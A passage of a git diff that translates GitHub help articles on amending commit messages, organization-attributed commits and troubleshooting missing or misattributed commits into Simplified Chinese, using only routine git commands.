+- “[设置仓库可见性](/articles/setting-repository-visibility)”
+- "[关于复刻](/pull-requests/collaborating-with-pull-requests/working-with-forks/about-forks)"
+- "[管理仓库的复刻策略](/github/administering-a-repository/managing-the-forking-policy-for-your-repository)"
+- "[管理组织的复刻策略](/organizations/managing-organization-settings/managing-the-forking-policy-for-your-organization)"
 - "[Enforcing repository management policies in your enterprise](/admin/policies/enforcing-repository-management-policies-in-your-enterprise#enforcing-a-policy-on-forking-private-or-internal-repositories)"
diff --git a/translations/zh-CN/content/pull-requests/committing-changes-to-your-project/creating-and-editing-commits/changing-a-commit-message.md b/translations/zh-CN/content/pull-requests/committing-changes-to-your-project/creating-and-editing-commits/changing-a-commit-message.md
index 5877608cd0..4486e82165 100644
--- a/translations/zh-CN/content/pull-requests/committing-changes-to-your-project/creating-and-editing-commits/changing-a-commit-message.md
+++ b/translations/zh-CN/content/pull-requests/committing-changes-to-your-project/creating-and-editing-commits/changing-a-commit-message.md
@@ -1,73 +1,74 @@
 ---
-title: Changing a commit message
+title: 更改提交消息
 redirect_from:
   - /articles/can-i-delete-a-commit-message
   - /articles/changing-a-commit-message
   - /github/committing-changes-to-your-project/changing-a-commit-message
   - /github/committing-changes-to-your-project/creating-and-editing-commits/changing-a-commit-message
-intro: 'If a commit message contains unclear, incorrect, or sensitive information, you can amend it locally and push a new commit with a new message to {% data variables.product.product_name %}. You can also change a commit message to add missing information.'
+intro: '如果提交消息中包含不明确、不正确或敏感的信息，您可以在本地修改它，然后将含有新消息的新提交推送到 {% data variables.product.product_name %}。 您还可以更改提交消息以添加遗漏的信息。'
 versions:
   fpt: '*'
   ghes: '*'
   ghae: '*'
   ghec: '*'
 ---
-## Rewriting the most recent commit message
 
-You can change the most recent commit message using the `git commit --amend` command.
+## 重写最近的提交消息
 
-In Git, the text of the commit message is part of the commit. Changing the commit message will change the commit ID--i.e., the SHA1 checksum that names the commit. Effectively, you are creating a new commit that replaces the old one.
+您可以使用 `git commit --amend` 命令更改最近的提交消息。
 
-## Commit has not been pushed online
+在 Git 中，提交消息的文本是提交的一部分。 更改提交消息将更改提交 ID - 即用于命名提交的 SHA1 校验和。 实际上，您是创建一个新提交以替换旧提交。
 
-If the commit only exists in your local repository and has not been pushed to {% data variables.product.product_location %}, you can amend the commit message with the `git commit --amend` command.
+## 提交尚未推送上线
 
-1. On the command line, navigate to the repository that contains the commit you want to amend.
-2. Type `git commit --amend` and press **Enter**.
-3. In your text editor, edit the commit message, and save the commit.
-    - You can add a co-author by adding a trailer to the commit. For more information, see "[Creating a commit with multiple authors](/pull-requests/committing-changes-to-your-project/creating-and-editing-commits/creating-a-commit-with-multiple-authors)."
+如果提交仅存在于您的本地仓库中，尚未推送到 {% data variables.product.product_location %}，您可以使用 `git commit --amend` 命令修改提交消息。
+
+1. 在命令行上，导航到包含要修改的提交的仓库。
+2. 键入 `git commit --amend`，然后按 **Enter** 键。
+3. 在文本编辑器中编辑提交消息，然后保存该提交。
+    - 通过在提交中添加尾行可添加合作作者。 更多信息请参阅“[创建有多个作者的提交](/pull-requests/committing-changes-to-your-project/creating-and-editing-commits/creating-a-commit-with-multiple-authors)”。
 {% ifversion fpt or ghec %}
-    - You can create commits on behalf of your organization by adding a trailer to the commit. For more information, see "[Creating a commit on behalf of an organization](/pull-requests/committing-changes-to-your-project/creating-and-editing-commits/creating-a-commit-on-behalf-of-an-organization)"
+    - 通过在提交中添加尾行可创建代表组织的提交。 更多信息请参阅“[创建代表组织的提交](/pull-requests/committing-changes-to-your-project/creating-and-editing-commits/creating-a-commit-on-behalf-of-an-organization)”
 {% endif %}
 
-The new commit and message will appear on {% data variables.product.product_location %} the next time you push.
+在下次推送时，新的提交和消息将显示在 {% data variables.product.product_location %} 上。
 
 {% tip %}
 
-You can change the default text editor for Git by changing the `core.editor` setting. For more information, see "[Basic Client Configuration](https://git-scm.com/book/en/Customizing-Git-Git-Configuration#_basic_client_configuration)" in the Git manual.
+通过更改 `core.editor` 设置可更改 Git 的默认文本编辑器。 更多信息请参阅 Git 手册中的“[基本客户端配置](https://git-scm.com/book/en/Customizing-Git-Git-Configuration#_basic_client_configuration)”。
 
 {% endtip %}
 
-## Amending older or multiple commit messages
+## 修改旧提交或多个提交的消息
 
-If you have already pushed the commit to {% data variables.product.product_location %}, you will have to force push a commit with an amended message.
+如果您已将提交推送到 {% data variables.product.product_location %}，则必须强制推送含有修正消息的提交。
 
 {% warning %}
 
-We strongly discourage force pushing, since this changes the history of your repository. If you force push, people who have already cloned your repository will have to manually fix their local history. For more information, see "[Recovering from upstream rebase](https://git-scm.com/docs/git-rebase#_recovering_from_upstream_rebase)" in the Git manual.
+我们很不提倡强制推送，因为这会改变仓库的历史记录。 如果强制推送，已克隆仓库的人员必须手动修复其本地历史记录。 更多信息请参阅 Git 手册中的“[从上游变基恢复](https://git-scm.com/docs/git-rebase#_recovering_from_upstream_rebase)”。
 
 {% endwarning %}
 
-**Changing the message of the most recently pushed commit**
+**修改最近推送提交的消息**
 
-1. Follow the [steps above](/articles/changing-a-commit-message#commit-has-not-been-pushed-online) to amend the commit message.
-2. Use the `push --force-with-lease` command to force push over the old commit.
+1. 按照[上述步骤](/articles/changing-a-commit-message#commit-has-not-been-pushed-online)修改提交消息。
+2. 使用 `push --force-with-lease` 命令强制推送经修改的旧提交。
   ```shell
   $ git push --force-with-lease <em>example-branch</em>
   ```
 
-**Changing the message of older or multiple commit messages**
+**修改旧提交或多个提交的消息**
 
-If you need to amend the message for multiple commits or an older commit, you can use interactive rebase, then force push to change the commit history.
+如果需要修改多个提交或旧提交的消息，您可以使用交互式变基，然后强制推送以更改提交历史记录。
 
-1. On the command line, navigate to the repository that contains the commit you want to amend.
-2. Use the `git rebase -i HEAD~n` command to display a list of the last `n` commits in your default text editor.
+1. 在命令行上，导航到包含要修改的提交的仓库。
+2. 使用 `git rebase -i HEAD~n` 命令在默认文本编辑器中显示最近 `n` 个提交的列表。
 
     ```shell
     # Displays a list of the last 3 commits on the current branch
     $ git rebase -i HEAD~3
     ```
-    The list will look similar to the following:
+    此列表将类似于以下内容：
 
     ```shell
     pick e499d89 Delete CNAME
@@ -92,33 +93,33 @@ If you need to amend the message for multiple commits or an older commit, you ca
     #
     # Note that empty commits are commented out
     ```
-3. Replace `pick` with `reword` before each commit message you want to change.
+3. 在要更改的每个提交消息的前面，用 `reword` 替换 `pick`。
   ```shell
   pick e499d89 Delete CNAME
   reword 0c39034 Better README
   reword f7fde4a Change the commit message but push the same commit.
   ```
-4. Save and close the commit list file.
-5. In each resulting commit file, type the new commit message, save the file, and close it.
-6. When you're ready to push your changes to GitHub, use the push --force command to force push over the old commit.
+4. 保存并关闭提交列表文件。
+5. 在每个生成的提交文件中，键入新的提交消息，保存文件，然后关闭它。
+6. 准备好将更改推送到 GitHub 时，请使用 push - force 命令强制推送旧提交。
 ```shell
 $ git push --force <em>example-branch</em>
 ```
 
-For more information on interactive rebase, see "[Interactive mode](https://git-scm.com/docs/git-rebase#_interactive_mode)" in the Git manual.
+有关交互式变基的更多信息，请参阅 Git 手册中的“[交互模式](https://git-scm.com/docs/git-rebase#_interactive_mode)”。
 
 {% tip %}
 
-As before, amending the commit message will result in a new commit with a new ID. However, in this case, every commit that follows the amended commit will also get a new ID because each commit also contains the id of its parent.
+如前文所述，修改提交消息会生成含有新 ID 的新提交。 但是，在这种情况下，该修改提交的每个后续提交也会获得一个新 ID，因为每个提交也包含其父提交的 ID。
 
 {% endtip %}
 
 {% warning %}
 
-If you have included sensitive information in a commit message, force pushing a commit with an amended commit may not remove the original commit from {% data variables.product.product_name %}. The old commit will not be a part of a subsequent clone; however, it may still be cached on {% data variables.product.product_name %} and accessible via the commit ID. You must contact {% data variables.contact.contact_support %} with the old commit ID to have it purged from the remote repository.
+如果您的提交消息中包含敏感信息，则强制推送修改后的提交可能不会导致从 {% data variables.product.product_name %} 中删除原提交。 旧提交不会成为后续克隆的一部分；但是，它可能仍然缓存在 {% data variables.product.product_name %} 上，并且可通过提交 ID 访问。 您必须联系 {% data variables.contact.contact_support %} 并提供旧提交 ID，以便从远程仓库中清除它。
 
 {% endwarning %}
 
-## Further reading
+## 延伸阅读
 
-* "[Signing commits](/articles/signing-commits)"
+* "[对提交签名](/articles/signing-commits)"
diff --git a/translations/zh-CN/content/pull-requests/committing-changes-to-your-project/creating-and-editing-commits/creating-a-commit-on-behalf-of-an-organization.md b/translations/zh-CN/content/pull-requests/committing-changes-to-your-project/creating-and-editing-commits/creating-a-commit-on-behalf-of-an-organization.md
index a7082678b8..2969ada276 100644
--- a/translations/zh-CN/content/pull-requests/committing-changes-to-your-project/creating-and-editing-commits/creating-a-commit-on-behalf-of-an-organization.md
+++ b/translations/zh-CN/content/pull-requests/committing-changes-to-your-project/creating-and-editing-commits/creating-a-commit-on-behalf-of-an-organization.md
@@ -1,6 +1,6 @@
 ---
-title: Creating a commit on behalf of an organization
-intro: 'You can create commits on behalf of an organization by adding a  trailer to the commit''s message. Commits attributed to an organization include an `on-behalf-of` badge on {% data variables.product.product_name %}.'
+title: 代表组织创建提交
+intro: '通过在提交消息中添加尾行可代表组织创建提交。 归属于组织的提交应包含 {% data variables.product.product_name %} 上的 `on-behalf-of` 徽章。'
 redirect_from:
   - /articles/creating-a-commit-on-behalf-of-an-organization
   - /github/committing-changes-to-your-project/creating-a-commit-on-behalf-of-an-organization
@@ -8,28 +8,29 @@ redirect_from:
 versions:
   fpt: '*'
   ghec: '*'
-shortTitle: On behalf of an organization
+shortTitle: 代表组织
 ---
+
 {% note %}
 
-**Note:** The ability to create a commit on behalf of an organization is currently in public beta and is subject to change.
+**注：**代表组织创建提交的功能目前处于公开测试阶段，可能会有所变化。
 
 {% endnote %}
 
-To create commits on behalf of an organization:
+要代表组织创建提交：
 
-- you must be a member of the organization indicated in the trailer
-- you must sign the commit
-- your commit email and the organization email must be in a domain verified by the organization
-- your commit message must end with the commit trailer `on-behalf-of: @org <name@organization.com>`
-  - `org` is the organization's login
-  - `name@organization.com` is in the organization's domain
+- 您必须是尾行所述组织的成员
+- 您必须对提交签名
+- 您的提交电子邮件地址和组织电子邮件地址必须位于经组织验证的域中
+- 您的提交消息必须以尾行 `on-behalf-of: @org <name@organization.com>` 结尾。
+  - `org` 是组织的登录名
+  - `name@organization.com` 位于组织的域中
 
 Organizations can use the `name@organization.com` email as a public point of contact for open source efforts.
 
-## Creating commits with an `on-behalf-of` badge on the command line
+## 在命令行上使用 `on-behalf-of` 徽章创建提交
 
-1. Type your commit message and a short, meaningful description of your changes. After your commit description, instead of a closing quotation, add two empty lines.
+1. 输入提交消息以及简短、有意义的更改描述。 在提交描述后，不要加上右引号，而是添加两个空行。
   ```shell
   $ git commit -m "Refactor usability tests.
   >
@@ -37,11 +38,11 @@ Organizations can use the `name@organization.com` email as a public point of con
   ```
   {% tip %}
 
-  **Tip:** If you're using a text editor on the command line to type your commit message, ensure there are two newlines between the end of your commit description and the `on-behalf-of:` commit trailer.
+  **提示：** 如果您使用文本编辑器在命令行上输入提交消息，请确保在提交描述末尾与 `on-behalf-of:` 提交尾行之间有两个换行符。
 
   {% endtip %}
 
-2. On the next line of the commit message, type `on-behalf-of: @org <name@organization.com>`, then a closing quotation mark.
+2. 在提交消息的下一行，键入 `on-behalf-of: @org <name@organization.com>`，然后键入右引号。
 
   ```shell
   $ git commit -m "Refactor usability tests.
@@ -50,25 +51,24 @@ Organizations can use the `name@organization.com` email as a public point of con
   on-behalf-of: <em>@org</em> &lt;<em>name@organization.com</em>&gt;"
   ```
 
-The new commit, message, and badge will appear on {% data variables.product.product_location %} the next time you push. For more information, see "[Pushing changes to a remote repository](/github/getting-started-with-github/pushing-commits-to-a-remote-repository/)."
+在下次推送时，新的提交、消息和徽章将显示在 {% data variables.product.product_location %} 上。 更多信息请参阅“[推送更改到远程仓库](/github/getting-started-with-github/pushing-commits-to-a-remote-repository/)”。
 
-## Creating commits with an `on-behalf-of` badge on {% data variables.product.product_name %}
+## 在 {% data variables.product.product_name %} 上使用 `on-behalf-of` 徽章创建提交
 
-After you've made changes in a file using the web editor on {% data variables.product.product_name %}, you can create a commit on behalf of your organization by adding an `on-behalf-of:` trailer to the commit's message.
+在 {% data variables.product.product_name %} 上使用 web 编辑器对文件进行更改后，您可以通过在提交消息中添加 `on-behalf-of:` 尾行来创建代表组织的提交。
 
-1. After making your changes, at the bottom of the page, type a short, meaningful commit message that describes the changes you made.
-  ![Commit message for your change](/assets/images/help/repository/write-commit-message-quick-pull.png)
+1. 进行更改后，在页面底部键入简短、有意义的提交消息，以描述您所做的更改。 ![有关更改的提交消息](/assets/images/help/repository/write-commit-message-quick-pull.png)
 
-2. In the text box below your commit message, add `on-behalf-of: @org <name@organization.com>`.
+2. 在提交消息下方的文本框中，添加 `on-behalf-of: @org <name@organization.com>`。
 
-  ![Commit message on-behalf-of trailer example in second commit message text box](/assets/images/help/repository/write-commit-message-on-behalf-of-trailer.png)
-4. Click **Commit changes** or **Propose changes**.
+  ![第二个提交消息文本框中的提交消息代表尾行示例](/assets/images/help/repository/write-commit-message-on-behalf-of-trailer.png)
+4. 单击 **Commit changes（提交更改）**或 **Propose changes（提议更改）**。
 
-The new commit, message, and badge will appear on {% data variables.product.product_location %}.
+新的提交、消息和徽章将显示在 {% data variables.product.product_location %} 上。
 
-## Further reading
+## 延伸阅读
 
-- "[Viewing contributions on your profile](/articles/viewing-contributions-on-your-profile)"
-- "[Why are my contributions not showing up on my profile?](/articles/why-are-my-contributions-not-showing-up-on-my-profile)"
-- "[Viewing a project’s contributors](/articles/viewing-a-projects-contributors)"
-- "[Changing a commit message](/pull-requests/committing-changes-to-your-project/creating-and-editing-commits/changing-a-commit-message)"
+- "[在个人资料中查看贡献](/articles/viewing-contributions-on-your-profile)"
+- “[为什么我的贡献没有在我的个人资料中显示？](/articles/why-are-my-contributions-not-showing-up-on-my-profile)”
+- “[查看项目的贡献者](/articles/viewing-a-projects-contributors)”
+- “[更改提交消息](/pull-requests/committing-changes-to-your-project/creating-and-editing-commits/changing-a-commit-message)”
diff --git a/translations/zh-CN/content/pull-requests/committing-changes-to-your-project/index.md b/translations/zh-CN/content/pull-requests/committing-changes-to-your-project/index.md
index 9206e8d17d..2f8a2132a5 100644
--- a/translations/zh-CN/content/pull-requests/committing-changes-to-your-project/index.md
+++ b/translations/zh-CN/content/pull-requests/committing-changes-to-your-project/index.md
@@ -1,6 +1,6 @@
 ---
-title: Committing changes to your project
-intro: You can manage code changes in a repository by grouping work into commits.
+title: 提交对项目的更改
+intro: 您可以通过将工作分组为提交来管理仓库中的代码更改。
 redirect_from:
   - /categories/21/articles
   - /categories/commits
@@ -15,5 +15,6 @@ children:
   - /creating-and-editing-commits
   - /viewing-and-comparing-commits
   - /troubleshooting-commits
-shortTitle: Commit changes to your project
+shortTitle: 提交对项目的更改
 ---
+
diff --git a/translations/zh-CN/content/pull-requests/committing-changes-to-your-project/troubleshooting-commits/commit-exists-on-github-but-not-in-my-local-clone.md b/translations/zh-CN/content/pull-requests/committing-changes-to-your-project/troubleshooting-commits/commit-exists-on-github-but-not-in-my-local-clone.md
index 613caee543..d48374152f 100644
--- a/translations/zh-CN/content/pull-requests/committing-changes-to-your-project/troubleshooting-commits/commit-exists-on-github-but-not-in-my-local-clone.md
+++ b/translations/zh-CN/content/pull-requests/committing-changes-to-your-project/troubleshooting-commits/commit-exists-on-github-but-not-in-my-local-clone.md
@@ -1,6 +1,6 @@
 ---
-title: Commit exists on GitHub but not in my local clone
-intro: 'Sometimes a commit will be viewable on {% data variables.product.product_name %}, but will not exist in your local clone of the repository.'
+title: 存在于 GitHub 上但不存在于本地克隆中的提交
+intro: '有时，提交可以在 {% data variables.product.product_name %} 上查看到，但不存在于仓库的本地克隆中。'
 redirect_from:
   - /articles/commit-exists-on-github-but-not-in-my-local-clone
   - /github/committing-changes-to-your-project/commit-exists-on-github-but-not-in-my-local-clone
@@ -10,83 +10,73 @@ versions:
   ghes: '*'
   ghae: '*'
   ghec: '*'
-shortTitle: Commit missing in local clone
+shortTitle: 本地克隆中缺少的提交
 ---
-When you use `git show` to view a specific commit on the command line, you may get a fatal error.
 
-For example, you may receive a `bad object` error locally:
+使用 `git show` 在命令行上查看特定提交时，可能会收到致命错误。
+
+例如，可能会在本地收到 `bad object` 错误：
 
 ```shell
 $ git show 1095ff3d0153115e75b7bca2c09e5136845b5592
 > fatal: bad object 1095ff3d0153115e75b7bca2c09e5136845b5592
 ```
 
-However, when you view the commit on {% data variables.product.product_location %}, you'll be able to see it without any problems:
+但是，当您在 {% data variables.product.product_location %} 上查看该提交时，却可以看到它，并且不会遇到任何问题：
 
 `github.com/$account/$repository/commit/1095ff3d0153115e75b7bca2c09e5136845b5592`
 
-There are several possible explanations:
+有几种可能的解释：
 
-* The local repository is out of date.
-* The branch that contains the commit was deleted, so the commit is no longer referenced.
-* Someone force pushed over the commit.
+* 本地仓库已过期。
+* 包含提交的分支已被删除，因此该提交的引用不再有效。
+* 有人强制推送了提交。
 
-## The local repository is out of date
+## 本地仓库已过期
 
-Your local repository may not have the commit yet. To get information from your remote repository to your local clone, use `git fetch`:
+您的本地仓库可能还没有提交。 要将信息从远程仓库提取到本地克隆，请使用 `git fetch`：
 
 ```shell
 $ git fetch <em>remote</em>
 ```
 
-This safely copies information from the remote repository to your local clone without making any changes to the files you have checked out.
-You can use `git fetch upstream` to get information from a repository you've forked, or `git fetch origin` to get information from a repository you've only cloned.
+这将安全地将信息从远程仓库复制到本地克隆，无需对已检出的文件进行任何更改。 您可以使用 `git fetch upstream`从已复刻的仓库获取信息，或使用 `git fetch origin`从仅克隆的仓库获取信息。
 
 {% tip %}
 
-**Tip**: For more information, read about [managing remotes and fetching data](https://git-scm.com/book/en/Git-Basics-Working-with-Remotes) in the [Pro Git](https://git-scm.com/book) book.
+**提示**：更多信息请参阅 [Pro Git](https://git-scm.com/book) 手册中的[管理远程仓库和获取数据](https://git-scm.com/book/en/Git-Basics-Working-with-Remotes) 。
 
 {% endtip %}
 
-## The branch that contained the commit was deleted
+## 包含提交的分支已被删除
 
-If a collaborator on the repository has deleted the branch containing the commit
-or has force pushed over the branch, the missing commit may have been orphaned
-(i.e. it cannot be reached from any reference) and therefore will not be fetched
-into your local clone.
+如果仓库的协作者已删除包含提交的分支或者已强制推送该分支，则缺失的提交可能已成为孤立状态（即无法从任何引用访问它），因此它不会被提取到您的本地克隆中。
 
-Fortunately, if any collaborator has a local clone of the repository with the
-missing commit, they can push it back to {% data variables.product.product_name %}.  They need to make sure the commit
-is referenced by a local branch and then push it as a new branch to {% data variables.product.product_name %}.
+如果幸好有某个协作者的本地克隆仓库中包含了该缺失的提交，则他们可以将其推送回 {% data variables.product.product_name %}。  他们需要确保通过本地分支引用该提交，然后将其作为新分支推送到 {% data variables.product.product_name %}。
 
-Let's say that the person still has a local branch (call it `B`) that contains
-the commit.  This might be tracking the branch that was force pushed or deleted
-and they simply haven't updated yet.  To preserve the commit, they can push that
-local branch to a new branch (call it `recover-B`) on {% data variables.product.product_name %}.  For this example,
-let's assume they have a remote named `upstream` via which they have push access
-to `github.com/$account/$repository`.
+假设某人仍有包含该提交的本地分支（称为 `B`）。  它们可能追随已被强制推送或删除的分支，只是它们还没有更新。  要保留该提交，他们可以将该本地分支推送到 {% data variables.product.product_name %} 上的新分支（称为 `recover-B`）。  在此例中，假设他们有一个名为 `upstream` 的远程仓库，通过该仓库他们可以推送到 `github.com/$account/$repository`。
 
-The other person runs:
+他们运行：
 
 ```shell
 $ git branch recover-B B
-# Create a new local branch referencing the commit
+# 创建引用该提交的新本地分支
 $ git push upstream B:recover-B
-# Push local B to new upstream branch, creating new reference to commit
+# 将本地分支 B 推送到新上游分支，创建对提交的新引用
 ```
 
-Now, *you* can run:
+现在，*您*可以运行：
 
 ```shell
 $ git fetch upstream recover-B
-# Fetch commit into your local repository.
+# 将提交提取到您的本地仓库。
 ```
 
-## Avoid force pushes
+## 避免强制推送
 
-Avoid force pushing to a repository unless absolutely necessary. This is especially true if more than one person can push to the repository. If someone force pushes to a repository, the force push may overwrite commits that other people based their work on. Force pushing changes the repository history and can corrupt pull requests.
+除非万不得已，否则应避免向仓库强制推送。 如果可以向仓库推送的人不止一个，这个原则尤为重要。 If someone force pushes to a repository, the force push may overwrite commits that other people based their work on. Force pushing changes the repository history and can corrupt pull requests.
 
-## Further reading
+## 延伸阅读
 
-- ["Working with Remotes" from the _Pro Git_ book](https://git-scm.com/book/en/Git-Basics-Working-with-Remotes)
-- ["Data Recovery" from the _Pro Git_ book](https://git-scm.com/book/en/Git-Internals-Maintenance-and-Data-Recovery)
+- [_Pro Git_ 手册中的“处理远程仓库”](https://git-scm.com/book/en/Git-Basics-Working-with-Remotes)
+- [_Pro Git_ 手册中的“数据恢复”](https://git-scm.com/book/en/Git-Internals-Maintenance-and-Data-Recovery)
diff --git a/translations/zh-CN/content/pull-requests/committing-changes-to-your-project/troubleshooting-commits/why-are-my-commits-linked-to-the-wrong-user.md b/translations/zh-CN/content/pull-requests/committing-changes-to-your-project/troubleshooting-commits/why-are-my-commits-linked-to-the-wrong-user.md
index e63f9863ff..ced087c5e9 100644
--- a/translations/zh-CN/content/pull-requests/committing-changes-to-your-project/troubleshooting-commits/why-are-my-commits-linked-to-the-wrong-user.md
+++ b/translations/zh-CN/content/pull-requests/committing-changes-to-your-project/troubleshooting-commits/why-are-my-commits-linked-to-the-wrong-user.md
@@ -1,58 +1,57 @@
 ---
-title: Why are my commits linked to the wrong user?
+title: 我的提交为什么链接到错误的用户？
 redirect_from:
   - /articles/how-do-i-get-my-commits-to-link-to-my-github-account
   - /articles/why-are-my-commits-linked-to-the-wrong-user
   - /github/committing-changes-to-your-project/why-are-my-commits-linked-to-the-wrong-user
   - /github/committing-changes-to-your-project/troubleshooting-commits/why-are-my-commits-linked-to-the-wrong-user
-intro: '{% data variables.product.product_name %} uses the email address in the commit header to link the commit to a GitHub user. If your commits are being linked to another user, or not linked to a user at all, you may need to change your local Git configuration settings{% ifversion not ghae %}, add an email address to your account email settings, or do both{% endif %}.'
+intro: '{% data variables.product.product_name %} 使用提交标题中的电子邮件地址将提交链接到 GitHub 用户。 如果将您的提交链接到其他用户，或者根本没有链接到任何用户，您可能需要更改本地 Git 配置设置{% ifversion not ghae %}，将电子邮件地址添加到您的帐户电子邮件设置，或同时执行这两项操作{% endif %}。'
 versions:
   fpt: '*'
   ghes: '*'
   ghae: '*'
   ghec: '*'
-shortTitle: Linked to wrong user
+shortTitle: 链接到错误的用户
 ---
+
 {% tip %}
 
-**Note**: If your commits are linked to another user, that does not mean the user can access your repository. A user can only access a repository you own if you add them as a collaborator or add them to a team that has access to the repository.
+**注**：如果您的提交链接到其他用户，这并不意味着该用户能够访问您的仓库。 只有您将用户作为协作者添加或将其添加到具有仓库访问权限的团队时，用户才能访问您拥有的仓库。
 
 {% endtip %}
 
-## Commits are linked to another user
+## 提交链接到其他用户
 
-If your commits are linked to another user, that means the email address in your local Git configuration settings is connected to that user's account on {% data variables.product.product_name %}. In this case, you can change the email in your local Git configuration settings{% ifversion ghae %} to the address associated with your account on {% data variables.product.product_name %} to link your future commits. Old commits will not be linked. For more information, see "[Setting your commit email address](/github/setting-up-and-managing-your-github-user-account/setting-your-commit-email-address#setting-your-commit-email-address-in-git)."{% else %} and add the new email address to your account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %} account to link future commits to your account.
+如果您的提交链接到其他用户，则意味着本地 Git 配置设置中的电子邮件地址已连接到该用户在 {% data variables.product.product_name %}上的帐户。 在这种情况下，您可以将本地 Git 配置设置中的电子邮件{% ifversion ghae %} 更改为 {% data variables.product.product_name %} 上与您的帐户关联的地址，以链接您未来的提交。 原来的提交不会进行链接。 更多信息请参阅“[设置提交电子邮件地址](/github/setting-up-and-managing-your-github-user-account/setting-your-commit-email-address#setting-your-commit-email-address-in-git)”。{% else %}并且将新的电子邮件地址添加到您在 {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %} 上的帐户以将未来的提交链接到您的帐户。
 
-1. To change the email address in your local Git configuration, follow the steps in "[Setting your commit email address](/github/setting-up-and-managing-your-github-user-account/setting-your-commit-email-address#setting-your-commit-email-address-in-git)". If you work on multiple machines, you will need to change this setting on each one.
-2. Add the email address from step 2 to your account settings by following the steps in "[Adding an email address to your GitHub account](/articles/adding-an-email-address-to-your-github-account)".{% endif %}
+1. 要更改本地 Git 配置中的电子邮件地址，请按照“[设置提交电子邮件地址](/github/setting-up-and-managing-your-github-user-account/setting-your-commit-email-address#setting-your-commit-email-address-in-git)”中的步骤操作。 如果您在多台计算机上工作，则需要在每台计算机上更改此设置。
+2. 按照“[添加电子邮件地址到 GitHub 帐户](/articles/adding-an-email-address-to-your-github-account)”中的步骤操作，将步骤 2 中的电子邮件地址添加到您的帐户设置。{% endif %}
 
-Commits you make from this point forward will be linked to your account.
+从这时开始，您提交的内容将链接到您的帐户。
 
-## Commits are not linked to any user
+## 提交没有链接到任何用户
 
-If your commits are not linked to any user, the commit author's name will not be rendered as a link to a user profile.
+如果您的提交没有链接到任何用户，则提交作者的名称不会显示为到用户配置文件的链接。
 
-To check the email address used for those commits and connect commits to your account, take the following steps:
+要检查用于这些提交的电子邮件地址并将提交连接到您的帐户，请执行以下步骤：
 
-1. Navigate to the commit by clicking the commit message link.
-![Commit message link](/assets/images/help/commits/commit-msg-link.png)
-2. To read a message about why the commit is not linked, hover over the blue {% octicon "question" aria-label="Question mark" %} to the right of the username.
-![Commit hover message](/assets/images/help/commits/commit-hover-msg.png)
+1. 通过单击提交消息链接导航到提交。 ![提交消息链接](/assets/images/help/commits/commit-msg-link.png)
+2. 要阅读有关提交未链接原因的消息，请将鼠标悬停在用户名右侧的蓝色 {% octicon "question" aria-label="Question mark" %} 上。 ![提交悬停消息](/assets/images/help/commits/commit-hover-msg.png)
 
-  - **Unrecognized author (with email address)** If you see this message with an email address, the address you used to author the commit is not connected to your account on {% data variables.product.product_name %}. {% ifversion not ghae %}To link your commits, [add the email address to your GitHub email settings](/articles/adding-an-email-address-to-your-github-account).{% endif %} If the email address has a Gravatar associated with it, the Gravatar will be displayed next to the commit, rather than the default gray Octocat.
-  - **Unrecognized author (no email address)** If you see this message without an email address, you used a generic email address that can't be connected to your account on {% data variables.product.product_name %}.{% ifversion not ghae %} You will need to [set your commit email address in Git](/articles/setting-your-commit-email-address), then [add the new address to your GitHub email settings](/articles/adding-an-email-address-to-your-github-account) to link your future commits. Old commits will not be linked.{% endif %}
-  - **Invalid email** The email address in your local Git configuration settings is either blank or not formatted as an email address.{% ifversion not ghae %} You will need to [set your commit email address in Git](/articles/setting-your-commit-email-address), then [add the new address to your GitHub email settings](/articles/adding-an-email-address-to-your-github-account) to link your future commits. Old commits will not be linked.{% endif %}
+  - **无法识别的作者（含电子邮件地址）**如果您看到此消息包含电子邮件地址，则表示用于创作提交的地址未连接到您在 {% data variables.product.product_name %} 上的帐户。 {% ifversion not ghae %}要链接提交，请[将电子邮件地址添加到 GitHub 电子邮件设置](/articles/adding-an-email-address-to-your-github-account)。{% endif %}如果电子邮件地址关联了 Gravatar，提交旁边将显示该 Gravatar，而不是默认的灰色 Octocat。
+  - **无法识别的作者（无电子邮件地址）**如果您看到此消息没有电子邮件地址，则表示您使用了无法连接到您在 {% data variables.product.product_name %} 上的帐户的通用电子邮件地址。{% ifversion not ghae %} 您需要[在 Git 中设置提交电子邮件地址](/articles/setting-your-commit-email-address)，然后[将新地址添加到 GitHub 电子邮件设置](/articles/adding-an-email-address-to-your-github-account)以链接您未来的提交。 旧提交不会链接。{% endif %}
+  - **无效的电子邮件地址**本地 Git 配置设置中的电子邮件地址为空白或未格式化为电子邮件地址。{% ifversion not ghae %} 您需要[在 Git 中设置提交电子邮件地址](/articles/setting-your-commit-email-address)，然后[将新地址添加到 GitHub 电子邮件设置](/articles/adding-an-email-address-to-your-github-account)以链接您未来的提交。 旧提交不会链接。{% endif %}
 
 {% ifversion ghae %}
-You can change the email in your local Git configuration settings to the address associated with your account to link your future commits. Old commits will not be linked. For more information, see "[Setting your commit email address](/github/setting-up-and-managing-your-github-user-account/setting-your-commit-email-address#setting-your-commit-email-address-in-git)."
+您可以将本地 Git 配置设置中的电子邮件地址更改为与您的帐户关联的地址，以链接您未来的提交。 原来的提交不会进行链接。 更多信息请参阅“[设置提交电子邮件地址](/github/setting-up-and-managing-your-github-user-account/setting-your-commit-email-address#setting-your-commit-email-address-in-git)”。
 {% endif %}
 
 {% warning %}
 
-If your local Git configuration contained a generic email address, or an email address that was already attached to another user's account, then your previous commits will not be linked to your account. While Git does allow you to change the email address used for previous commits, we strongly discourage this, especially in a shared repository.
+如果您的本地 Git 配置包含通用电子邮件地址或已附加到其他用户帐户的电子邮件地址，则您之前的提交将不会链接到您的帐户。 虽然 Git 允许您更改用于以前提交的电子邮件地址，但我们强烈反对这样做，尤其是在共享仓库中。
 
 {% endwarning %}
 
-## Further reading
+## 延伸阅读
 
-* "[Searching commits](/search-github/searching-on-github/searching-commits)"
+* "[搜索提交](/search-github/searching-on-github/searching-commits)"
diff --git a/translations/zh-CN/content/repositories/archiving-a-github-repository/archiving-repositories.md b/translations/zh-CN/content/repositories/archiving-a-github-repository/archiving-repositories.md
index b8d5a45fc7..5ddc0bb304 100644
--- a/translations/zh-CN/content/repositories/archiving-a-github-repository/archiving-repositories.md
+++ b/translations/zh-CN/content/repositories/archiving-a-github-repository/archiving-repositories.md
@@ -1,6 +1,6 @@
 ---
-title: Archiving repositories
-intro: You can archive a repository to make it read-only for all users and indicate that it's no longer actively maintained. You can also unarchive repositories that have been archived.
+title: 存档仓库
